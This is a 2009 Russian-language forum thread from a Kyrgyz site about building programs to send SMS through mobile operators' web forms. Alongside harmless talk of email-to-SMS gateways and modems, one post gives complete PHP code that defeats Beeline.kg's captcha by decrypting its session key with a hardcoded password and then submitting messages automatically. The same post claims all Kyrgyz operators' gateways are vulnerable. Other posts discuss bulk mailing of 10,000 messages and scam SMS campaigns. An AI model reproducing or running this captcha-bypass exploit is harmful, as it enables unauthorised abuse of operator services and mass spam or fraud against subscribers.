Diesel.ElCat.KG

Здравствуйте, гость ( Вход | Регистрация | Восстановление пароля )

2 страниц V  < 1 2  
Написать ответНовая тема
Прога для отправки СМС, Хочу написать прогу для отправки пыш-пышек на fonex
27.8.2009, 20:55
Сообщение #21


Группа: Человеки
Регистрация: 24.8.04
Пол: Не указан



два года уже работает:
http://anton-kirsanov.com/fonex/

Купить короткий номер у оператора стоит порядка 100$, плюс абонка 50 в месяц, а смс без лимита в разумных пределах и без спама.

Как вариант ещё можно купить аккаунт в сервисах типа avisosms.ru, тарифы на сайте, но именно на фонекс смски оттуда (да и с других внешних смс провайдеров) не идут.
Ещё вариант - купить смс модем и реализовывать отправку через AT команды.
Ещё вариант - некоторые операторы устанавливают email2sms гейты - например 996550111111@sms.megacom.kg, у фонекса надо уточнять.

Сообщение отредактировал KPbIC - 27.8.2009, 21:02
Top
 
+Цитата
1.9.2009, 5:32
Сообщение #22


Группа: Человеки
Регистрация: 13.3.07
Пол: Мужской



зачем геморроиться с обходм капчи? пусть она на форме будет появляться, а через поле ввода код капчи будет отправлять на сервер
Top
 
+Цитата
1.9.2009, 13:49
Сообщение #23


Группа: Человеки
Регистрация: 2.10.06
Пол: Мужской



Romany4
этот способ применим когда одному человеку надо отправить 1-2 смски
а если ему надо отправить 10000 смсок? вот тут и нужен обход капчи.

можно конечно и через АТ команды, и через гейты разные всякие.
но я например рассказал как без всяких договоров и железа за пару часов создается несложный софт для масс рассылок )
Top
 
+Цитата
10.9.2009, 22:20
Сообщение #24


Группа: Человеки
Регистрация: 28.3.07
Пол: Мужской



можно сделать так как в Coyot, чтоб юзер капчу сам вводил. Там главное куки с сайта брать. Как у фонекса не знаю, а у O.kg вот как:
вот так выглядит картинка
Common/img/secretImage.jpg?sid3=сесия_из_куксов
вот взятые куки
WASession_11291_89739872
в итоге
Common/img/secretImage.jpg?sid3=WASession_11291_89739872

на фонэксе наверное так же ))

а если массово хочешь, ищи распознавалку ))

Сообщение отредактировал scroollocker - 10.9.2009, 22:21
Top
 
+Цитата
11.9.2009, 13:48
Сообщение #25


Группа: Заблокированные
Регистрация: 18.7.05
Пол: Мужской



допустим написали такую прогу которая каптчи распознает и отправляет рассылки, мля этой прогой потом хотите какой нибудь лохотрон запустить? типа вы выиграли в лотереи, и закинтье сюда денег получите свой приз? ну типа такого?
Top
 
+Цитата
11.9.2009, 19:42
Сообщение #26


Группа: Человеки
Регистрация: 28.3.07
Пол: Мужской



atb
зачем )) Можно одновременно всех друзей на днюху пригласить crazy.gif
Top
 
+Цитата
14.9.2009, 18:33
Сообщение #27


Группа: Человеки
Регистрация: 2.10.06
Пол: Мужской



atb
такой софт уже есть и писать ничего не нужно, его полно ))
а лохатроны именно так и работают, не сидят же их индусы руками рассылают. все автоматизировано.
Top
 
+Цитата
14.9.2009, 20:52
Сообщение #28


Группа: Человеки
Регистрация: 28.3.07
Пол: Мужской



если кому интересно, вот ссылки про распознавание текста

http://www.citforum.ru/programming/delphi/recognition_1/
http://www.citforum.ru/programming/delphi/recognition_2/

Можно замутить распознавлку Капчи crazy.gif
Top
 
+Цитата
27.9.2009, 4:27
Сообщение #29


Группа: Человеки
Регистрация: 18.11.04
Пол: Мужской



alligatorus
scroollocker
Толкнули таки меня своими размышлениями на мелкое хулиганство.
http://weltkind.com/ru/work/secrets/?id=166


Билайн и Некси можно обходить без распознавания. А вот например написание распознавалки для Мегакома будет ли дешевле чем покупка номера?

КРЫС
Цитата

Как фонекс обошел? Что там за прикол с перегенерацией после отправки?

Сообщение отредактировал Weltkind - 27.9.2009, 4:30
Top
 
+Цитата
27.9.2009, 10:59
Сообщение #30


Группа: Человеки
Регистрация: 2.10.06
Пол: Мужской



Weltkind
мдаааа.... лошары... кто же картинку к идентификатору привязывает......
а у мегакома это дело зарезано, там он текст сам по себе генерится, я когда под него писал, тоже озадачился этим параметром ранд, он там только для отнимания времени у програмистов ))))
Top
 
+Цитата
3.10.2009, 2:34
Сообщение #31


Группа: Человеки
Регистрация: 13.3.07
Пол: Мужской



Цитата
E-mail 2 SMS

Услуга E-mail 2 SMS позволяет абонентам FONEX принимать короткие текстовые сообщения от пользователей электронной почты на свой сотовый аппарат в виде SMS. Для того чтобы отправить электронное сообщение абоненту FONEX, отправителю нужно:
Создать новое письмо
В адресе получателя ввести [номер сотового аппарата получателя*]@sms.cdma.kg, например: 950000@sms.cdma.kg
Тему письма оставить пустой (необходимо, чтобы в теме письма не содержалось никаких символов)
В теле письма ввести сообщение
Отправить созданное сообщение.
* номер сотового аппарата получателя может быть представлен в трех форматах – шестизначном (950000), десятизначном (0545950000), двенадцатизначном (996545950000).


На форму кинул листбокс, 2 поля ввода и пару кнопок. По нажатию по кнопке "Отправить" - запускаем отправку письма с заранее указанного ящика, с указанными на форме параметрами.

Так же можно отправлять и на мегаком.
996555ХХХХХХ@sms.megacom.kg
Плюс + мегакома есть отправка icq2sms. Не знаю как на других языках, а для Delphi есть компонент ICQClinet, с помощью которого это можно осуществить

Сообщение отредактировал Romany4 - 3.10.2009, 2:38
Top
 
+Цитата
3.10.2009, 15:52
Сообщение #32


Группа: Человеки
Регистрация: 24.8.04
Пол: Не указан



Цитата(alligatorus @ 27.9.2009, 10:59) *
Weltkind
мдаааа.... лошары... кто же картинку к идентификатору привязывает......
а у мегакома это дело зарезано, там он текст сам по себе генерится, я когда под него писал, тоже озадачился этим параметром ранд, он там только для отнимания времени у програмистов ))))

мегаком по другому обходится, через внешние шлюзы.

Дело в том что у билайна капчу реализовывали местные парни.
Сессионный ключ просто напросто хранит в себе исходный текст на картинке.
Основная задача - понять как оно работает и расшифровать этот сессионный ключ, получив код на капче, или достать исходники.
http://pastebin.com/f31aa7d25

Вот так и выглядит обход ихней капчи.

Код
<?php


class BeelineWorker extends Worker {

    private $captchaPassword = "captcha";
    private $captchaLen = 5;

    // +996
    protected $mask = array(

        "+996772%",
        "+996773%",
        "+996775%",
        "+996777%",
        "+996778%",
        "+996770%",
    );

    ///  
    function Send()
    {
        $sms = $this->GetSMS();    
        if(!empty($sms))
        {
            foreach($sms as $s)
            {
                $response = "";
                $result = $this->SendSmsViaAnimatedCapthaBug($s->number, $s->message, &$response);
    
                if($result)
                {
                $s->Sended($response);                
                }
                else if($response != null)
                {
                $s->UpdateServiceResponse($response);                
                }

            }
        }
    }


    ///
    function SendSmsViaAnimatedCapthaBug($number, $message, &$result)
    {

        if(preg_match("/^\+?996(\d{3,3})(\d{6,6})$/", $number, $o))
        {
            $code = $o[1];
            $number = $o[2];

            $url = "http://sms.beeline.kg/";

            $c = file_get_contents($url);

            if(preg_match("/capcha\/CaptchaImage\.php\?uid\=\d+\;(.*\%3D)/isU", $c, $o) && preg_match("/<input\s+type\=hidden\s+name\=\"cid\"\s+value\=\"(.*)\">/isU", $c, $oo))
            {
                $secret = urldecode($o[1]);
                $captcha = $this->md5_decrypt($secret, $this->captchaPassword);

                $query = array(

                    "code"        => $code,
                    "phone"        => $number,
                    "uid"         => $captcha,
                    "date"         => date("d.m.Y"),
                    "hour"        => 0,
                    "minute"    => 0,
                    "message"     => $message,
                    "cid"        => $oo[1],
                );
    
                $c = curl_init();

                curl_setopt($c, CURLOPT_URL, $url);
                curl_setopt($c, CURLOPT_REFERER, $url);
                curl_setopt($c, CURLOPT_USERAGENT, "MSIE");
                curl_setopt($c, CURLOPT_POST, 1);
                curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($c, CURLOPT_NOBODY, 0);
                curl_setopt($c, CURLOPT_HEADER, 1);
                curl_setopt($c, CURLOPT_FOLLOWLOCATION, 0);

                curl_setopt($c, CURLOPT_POST, 1);
                curl_setopt($c, CURLOPT_POSTFIELDS, http_build_query($query));

                $r = curl_exec($c);
                $info = curl_getinfo($c);

                curl_close($c);

                if(preg_match("/<div\s+id\=msage>\s*?(.*)\s*?<\/div>/isU", $r, $o))
                {
                    $result = $o[1];                

                    if(preg_match("/Ваше соообщение отправлено/i", $result))
                        return true;
                }
            }
        }

        return false;
    }

    ///
    private function md5_decrypt ( $enc_text, $password, $iv_len = 16 )
    {
        $enc_text = base64_decode ( $enc_text );
        $n = strlen ( $enc_text );
        $i = $iv_len;
        $plain_text = '';
        $iv = substr ( $password ^ substr ( $enc_text, 0, $iv_len ), 0, 512 );

        while ( $i < $n )
        {
            $block = substr ( $enc_text, $i, 16 );
            $plain_text .= $block ^ pack ( 'H*', md5 ( $iv ) );
            $iv = substr ( $block . $iv, 0, 512 ) ^ $password;
            $i += 16;
        }
        return preg_replace ( '/\\x13\\x00*$/', '', $plain_text );
    }
}


код фонекса выкладывать не буду, кому нужно - сами догадаются, уязвимость там не сложная.

на сегодняшний день уязвимы смс шлюзы всех мобильных операторов Кыргызстана.




Сообщение отредактировал KPbIC - 3.10.2009, 16:03
Top
 
+Цитата
3.10.2009, 16:52
Сообщение #33


Группа: Человеки
Регистрация: 2.10.06
Пол: Мужской



KPbIC
что тут скажешь, юмористы, неужели так тяжело написать нормальную капчу
Top
 
+Цитата
3.10.2009, 17:00
Сообщение #34


Группа: Человеки
Регистрация: 24.8.04
Пол: Не указан



Цитата(alligatorus @ 3.10.2009, 16:52) *
KPbIC
что тут скажешь, юмористы, неужели так тяжело написать нормальную капчу

Написать нормальную капчу, сложную для разбора роботами, но легкую для человека, действительно сложно.
В данном случае или плохо платят в билайне, или кадровый отбор уже не торт.



Сообщение отредактировал KPbIC - 3.10.2009, 17:01
Top
 
+Цитата
8.10.2009, 12:01
Сообщение #35


Группа: Человеки
Регистрация: 15.10.07
Пол: Не указан



Цитата(KPbIC @ 27.8.2009, 19:55) *
два года уже работает:
http://anton-kirsanov.com/fonex/


Привет, а можешь сделать веб-морду для отправки сообщений на Билайн?
Top
 
+Цитата

2 страниц V  < 1 2
Написать ответНовая тема
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 



RSS Текстовая версия Сейчас: 31.7.2010, 16:41